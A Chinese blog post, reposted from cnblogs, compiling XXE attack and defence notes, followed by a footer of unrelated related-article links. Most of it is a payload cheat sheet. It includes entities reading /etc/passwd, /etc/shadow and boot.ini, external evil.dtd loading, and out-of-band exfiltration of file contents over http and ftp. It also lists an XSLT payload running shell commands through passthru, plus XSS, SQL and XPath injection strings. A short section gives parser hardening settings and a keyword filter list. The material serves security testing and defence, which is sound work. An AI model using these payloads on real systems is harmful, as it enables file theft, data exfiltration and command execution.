应用安全-XXE(XML外部实体注入)攻防整理
libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可使用phpinfo()查看libxml的版本信息
外部实体注入 - 通过DTD外部实体声明
<?xml version="1.0"?> <!DOCTYPE a [<!ENTITY b SYSTEM "file://etc/passwd">]> <c>&b;</c>
外部实体注入 - 通过DTD文档引入外部DTD文档,再引入外部实体声明
<?xml version="1.0"?> <!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd"> <c>&b;</c>DTD内容: <!ENTITY b SYSTEM "file:///etc/passwd">
外部实体注入 - 通过DTD引入外部实体声明
<?xml version="1.0"> <!DOCTYPE a [ <!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd"> %d; ]> <c>&b;</c>DTD内容: <!ENTITY b SYSTEM "file///etc/passwd">
XMLDTD部分支持协议
libxml2 file http ftpPHP file http ftp php compress.zlib compress.bzip2 data glob phar 扩展支持部分:https/ftps opensslzip zipssh2.shell/ssh2.exec/ssh2.tunnel/ssh2.sftp/ssh2.scp ssh2rar rarogg oggvorbisexpect expect Java http https ftp file jar netdoc mailto gopher * .NET file http https ftp
XML Schema 实体的攻击 - schemaLocation
XML Schema 实体的攻击 - schemaLocation
XML Schema 实体的攻击 - noNamespaceSchemaLocation
XML Schema 实体的攻击 - XInclude。
XML Schema 实体的攻击 - XSLT 攻击
XXE - 读取任意文件
XXE - 执行系统命令
XXE - 探测内网端口
XXE - 攻击内网网站
XXE - DDOS攻击
防御 - 禁用外部实体
PHP: libxml_disable_entity_loader(true);JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
防御 - 过滤用户提交的XML数据
关键字:<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC
Fuzzing
1 <!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" > 2 <?xml version="1.0" encoding="ISO-8859-1"?> 3 <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]> 4 <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root> 5 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]> 6 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root> 7 <?xml version="1.0" encoding="ISO-8859-1"?><test></test> 8 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> 9 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 10 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]><foo>&xxe;</foo> 11 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]> 12 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo> 13 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]> 14 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> 15 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]> 16 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com:80" >]><foo>&xxe;</foo> 17 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example:443" >]> 18 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:dev/random">]><foo>&xxe;</foo> 19 <test></test> 20 <![CDATA[<test></test>]]> 21 &foo; 22 %foo; 23 count(/child::node()) 24 x' or name()='username' or 'x'='y 25 <name>','')); phpinfo(); exit;/*</name> 26 <![CDATA[<script>var n=0;while(true){n++;}</script>]]> 27 <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]> 28 <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo> 29 <foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo> 30 <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo> 31 <foo><![CDATA[' or 1=1 or ''=']]></foo> 32 <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> 33 <xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> 34 <xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> 35 <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> 36 <xml SRC="xsstest.xml" ID=I></xml> 37 <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML> 38 <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> 39 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><script>alert(123)</script></xsl:template></xsl:stylesheet> 40 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:copy-of select="document('/etc/passwd')"/></xsl:template></xsl:stylesheet> 41 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:value-of select="php:function('passthru','ls -la')"/></xsl:template></xsl:stylesheet> 42 <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 43 <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]> 44 <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]> 45 <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com/text.txt" >]> 46 <!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:dev/random">]> 47 <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://127.0.0.1:80/?%file;'> "> %int; 48 <!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://127.0.0.1:21/%data3;'>"> 49 <!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///etc/issue"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]> 50 <!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///c:/boot.ini"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]> 51 <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
检测工具
XXEinjector - 基于Ruby
转载于:https://www.cnblogs.com/AtesetEnginner/p/11261653.html
应用安全-XXE(XML外部实体注入)攻防整理相关推荐
- XXE(XML外部实体注入)漏洞
如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击.XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它 什么是 ...
- pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)
目录 一.来自官方的介绍以及来自民间的扩展 1.pikachu官方简介 2.小女子之前画的脑图 3.两个不错的博客 二.小白菜的闯关 1.查看系统文件内容 2.查看php源代码 3.爆破开放端口 三. ...
- 【burpsuite安全练兵场-服务端10】XML外部实体注入(XXE注入)-9个实验(全)
前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...
- XML外部实体注入漏洞——XXE简单分析
前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...
- Xml外部实体注入漏洞(XXE)与防护
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- XXE(XML外部实体注入)详解
1. XXE漏洞描述 XXE(XML External Entity Injection)又称为"XML外部实体注入漏洞". 当允许引用外部实体时,通过构造恶意内容,就可能导致任意 ...
- XML外部实体注入(XXE)的原理和应用
文章目录 XXE注入 一.XML简介 二.XML实体 三.CTF中XEE攻击 XXE注入 XXE注入全称是xml external entity 注入,也就是xml外部实体注入.XXE漏洞发生在应用程 ...
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection" 既"xml外部实体注入漏洞". 概括一下就是"攻击者通过向服务器注入指定的x ...
- Web Hacking 101 中文版 十四、XML 外部实体注入(一)
十四.XML 外部实体注入 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程 ...
- XXE(xml外部实体攻击)
1.概念 XXE(XML External Entity)是指xml外部实体攻击漏洞.XML外部实体攻击是针对解析XML输入的应用程序的一种攻击.当包含对外部实体的引用的XML输入被弱配置XML解析器 ...
最新文章
- VS各种错误集成总结,持续更新
- ESPNet系列:自动驾驶领域轻量级分割模型
- golang 协程同步 简介
- 字符设备和块设备的区别
- git add.后回退 代码丢失
- P2467-[SDOI2010]地精部落【dp】
- jaxb_JAXB –新手的观点,第1部分
- js之ActiveX控件使用说明 new ActiveXObject()
- 感到压力时,你秃的是头,而TA秃的是屁股
- mysql数据字典生成器_「python技术」列表推导、生成器表达式和字典推导的差异及其示例
- 查理·芒格的合伙人李录:价值投资在中国到底适不适用?
- ubuntu设置虚拟显示器且远程连接
- 立Flag 学习Ng - 1
- 【Python】网络爬虫
- ibd 导入mysql_mysql导入frm和ibd文件还原数据
- webpack中配置jquery暴露全局(expose-loader)
- bzoj4564: [Haoi2016]地图 仙人掌的圆方树 莫队 分块
- 计算机开机最快设置,怎样让电脑开机更快
- P4097 [HEOI2013]Segment 李超线段树
- lamda collectingAndThen的使用
热门文章
- Android的NDK开发(2)————利用Android NDK编写一个简单的HelloWorld
- Codeforces Beta Round #1 题解
- 100-days: thirty-five
- 31.整数中1出现的次数(从1到n整数中1出现的次数)
- ProxySQL Getting started
- FPGA浮点数定点数的处理
- jquery如何阻止子元素相应mouseout事件
- windows API 第22篇 WTSGetActiveConsoleSessionId
- 安全隐患分析和基本系统结构信息的收集
- Windows下Node.js安装Canvas插件